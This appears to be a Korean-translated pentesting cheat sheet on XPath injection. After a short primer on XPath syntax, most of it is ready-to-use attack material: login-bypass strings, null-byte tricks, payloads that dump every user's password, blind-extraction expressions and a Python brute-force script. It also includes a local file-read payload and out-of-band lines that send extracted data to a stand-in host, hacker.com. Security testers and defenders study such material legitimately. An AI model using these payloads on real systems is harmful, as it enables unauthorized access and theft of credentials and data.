XPATH injection

Tip

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Basic Syntax

XPath Injection์œผ๋กœ ์•Œ๋ ค์ง„ ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๊ธฐ๋ฐ˜์œผ๋กœ XPath (XML Path Language) ์ฟผ๋ฆฌ๋ฅผ ํ˜•์„ฑํ•˜์—ฌ XML ๋ฌธ์„œ๋ฅผ ์ฟผ๋ฆฌํ•˜๊ฑฐ๋‚˜ ํƒ์ƒ‰ํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ด์šฉํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

Nodes Described

ํ‘œํ˜„์‹์€ XML ๋ฌธ์„œ์—์„œ ๋‹ค์–‘ํ•œ ๋…ธ๋“œ๋ฅผ ์„ ํƒํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ‘œํ˜„์‹๊ณผ ๊ทธ ์„ค๋ช…์€ ์•„๋ž˜์— ์š”์•ฝ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค:

  • nodename: โ€œnodenameโ€œ์ด๋ผ๋Š” ์ด๋ฆ„์„ ๊ฐ€์ง„ ๋ชจ๋“  ๋…ธ๋“œ๊ฐ€ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.
  • /: ๋ฃจํŠธ ๋…ธ๋“œ์—์„œ ์„ ํƒ์ด ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค.
  • //: ํ˜„์žฌ ๋…ธ๋“œ์—์„œ ์„ ํƒ๊ณผ ์ผ์น˜ํ•˜๋Š” ๋…ธ๋“œ๊ฐ€ ๋ฌธ์„œ ๋‚ด ์œ„์น˜์— ๊ด€๊ณ„์—†์ด ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.
  • .: ํ˜„์žฌ ๋…ธ๋“œ๊ฐ€ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.
  • ..: ํ˜„์žฌ ๋…ธ๋“œ์˜ ๋ถ€๋ชจ๊ฐ€ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.
  • @: ์†์„ฑ์ด ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.

XPath Examples

๊ฒฝ๋กœ ํ‘œํ˜„์‹๊ณผ ๊ทธ ๊ฒฐ๊ณผ์˜ ์˜ˆ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • bookstore: โ€œbookstoreโ€œ๋ผ๋Š” ์ด๋ฆ„์„ ๊ฐ€์ง„ ๋ชจ๋“  ๋…ธ๋“œ๊ฐ€ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.
  • /bookstore: ๋ฃจํŠธ ์š”์†Œ bookstore๊ฐ€ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค. ์Šฌ๋ž˜์‹œ (/)๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ฒฝ๋กœ๋Š” ์š”์†Œ์— ๋Œ€ํ•œ ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  • bookstore/book: bookstore์˜ ์ž์‹์ธ ๋ชจ๋“  book ์š”์†Œ๊ฐ€ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.
  • //book: ๋ฌธ์„œ ๋‚ด ๋ชจ๋“  book ์š”์†Œ๊ฐ€ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค, ์œ„์น˜์— ๊ด€๊ณ„์—†์ด.
  • bookstore//book: bookstore ์š”์†Œ์˜ ์ž์†์ธ ๋ชจ๋“  book ์š”์†Œ๊ฐ€ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค, bookstore ์š”์†Œ ์•„๋ž˜์˜ ์œ„์น˜์— ๊ด€๊ณ„์—†์ด.
  • //@lang: lang์ด๋ผ๋Š” ์ด๋ฆ„์„ ๊ฐ€์ง„ ๋ชจ๋“  ์†์„ฑ์ด ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.

Utilization of Predicates

์„ ํƒ์„ ์„ธ๋ถ„ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์ˆ ์–ด๊ฐ€ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค:

  • /bookstore/book[1]: bookstore ์š”์†Œ์˜ ์ฒซ ๋ฒˆ์งธ book ์š”์†Œ ์ž์‹์ด ์„ ํƒ๋ฉ๋‹ˆ๋‹ค. IE ๋ฒ„์ „ 5์—์„œ 9๊นŒ์ง€์˜ ๊ฒฝ์šฐ ์ฒซ ๋ฒˆ์งธ ๋…ธ๋“œ๋ฅผ [0]์œผ๋กœ ์ธ๋ฑ์‹ฑํ•˜๋Š” ์šฐํšŒ ๋ฐฉ๋ฒ•์€ JavaScript๋ฅผ ํ†ตํ•ด SelectionLanguage๋ฅผ XPath๋กœ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
  • /bookstore/book[last()]: bookstore ์š”์†Œ์˜ ๋งˆ์ง€๋ง‰ book ์š”์†Œ ์ž์‹์ด ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.
  • /bookstore/book[last()-1]: bookstore ์š”์†Œ์˜ ๋งˆ์ง€๋ง‰์—์„œ ๋‘ ๋ฒˆ์งธ book ์š”์†Œ ์ž์‹์ด ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.
  • /bookstore/book[position()<3]: bookstore ์š”์†Œ์˜ ์ฒซ ๋‘ book ์š”์†Œ ์ž์‹์ด ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.
  • //title[@lang]: lang ์†์„ฑ์ด ์žˆ๋Š” ๋ชจ๋“  title ์š”์†Œ๊ฐ€ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.
  • //title[@lang=โ€˜enโ€™]: โ€œlangโ€ ์†์„ฑ ๊ฐ’์ด โ€œenโ€œ์ธ ๋ชจ๋“  title ์š”์†Œ๊ฐ€ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.
  • /bookstore/book[price>35.00]: ๊ฐ€๊ฒฉ์ด 35.00๋ณด๋‹ค ํฐ bookstore์˜ ๋ชจ๋“  book ์š”์†Œ๊ฐ€ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.
  • /bookstore/book[price>35.00]/title: ๊ฐ€๊ฒฉ์ด 35.00๋ณด๋‹ค ํฐ bookstore์˜ book ์š”์†Œ์˜ ๋ชจ๋“  title ์š”์†Œ๊ฐ€ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.

Handling of Unknown Nodes

์™€์ผ๋“œ์นด๋“œ๋Š” ์•Œ ์ˆ˜ ์—†๋Š” ๋…ธ๋“œ๋ฅผ ์ผ์น˜์‹œํ‚ค๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค:

  • *: ๋ชจ๋“  ์š”์†Œ ๋…ธ๋“œ์™€ ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค.
  • @*: ๋ชจ๋“  ์†์„ฑ ๋…ธ๋“œ์™€ ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค.
  • node(): ๋ชจ๋“  ์ข…๋ฅ˜์˜ ๋…ธ๋“œ์™€ ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค.

์ถ”๊ฐ€ ์˜ˆ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • /bookstore/*: bookstore ์š”์†Œ์˜ ๋ชจ๋“  ์ž์‹ ์š”์†Œ ๋…ธ๋“œ๊ฐ€ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.
  • //*: ๋ฌธ์„œ ๋‚ด ๋ชจ๋“  ์š”์†Œ๊ฐ€ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.
  • //title[@*]: ์ ์–ด๋„ ํ•˜๋‚˜์˜ ์†์„ฑ์ด ์žˆ๋Š” ๋ชจ๋“  title ์š”์†Œ๊ฐ€ ์„ ํƒ๋ฉ๋‹ˆ๋‹ค.

Example

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

์ •๋ณด๋ฅผ ์•ก์„ธ์Šคํ•˜๋‹ค

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

์Šคํ‚ค๋งˆ ์‹๋ณ„ ๋ฐ ํƒˆ์ทจ

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

์ธ์ฆ ์šฐํšŒ

์ฟผ๋ฆฌ ์˜ˆ์‹œ:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

์‚ฌ์šฉ์ž ๋ฐ ๋น„๋ฐ€๋ฒˆํ˜ธ์—์„œ OR ์šฐํšŒ (๋‘ ๊ฐ’์ด ๋™์ผํ•จ)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

๋„ ์ฃผ์ž… ์•…์šฉ

Username: ' or 1]%00

์‚ฌ์šฉ์ž ์ด๋ฆ„ ๋˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ์—์„œ Double OR (์ทจ์•ฝํ•œ ํ•„๋“œ๊ฐ€ 1๊ฐœ๋งŒ ์žˆ์–ด๋„ ์œ ํšจํ•จ)

์ค‘์š”: โ€œandโ€œ๊ฐ€ ์ฒซ ๋ฒˆ์งธ๋กœ ์ˆ˜ํ–‰๋˜๋Š” ์—ฐ์‚ฐ์ž„์„ ์ฃผ์˜ํ•˜์„ธ์š”.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2ยบ account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

๋ฌธ์ž์—ด ์ถ”์ถœ

์ถœ๋ ฅ์—๋Š” ๋ฌธ์ž์—ด์ด ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉฐ ์‚ฌ์šฉ์ž๋Š” ๊ฐ’์„ ์กฐ์ž‘ํ•˜์—ฌ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

๋ธ”๋ผ์ธ๋“œ ์ต์Šคํ”Œ๋กœ์ž‡

๊ฐ’์˜ ๊ธธ์ด๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ  ๋น„๊ต๋ฅผ ํ†ตํ•ด ์ถ”์ถœํ•˜๊ธฐ:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

ํŒŒ์ด์ฌ ์˜ˆ์ œ

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

ํŒŒ์ผ ์ฝ๊ธฐ

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB ์ต์Šคํ”Œ๋กœ์ž‡

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

์ž๋™ ๋„๊ตฌ

์ฐธ๊ณ  ๋ฌธํ—Œ

Tip

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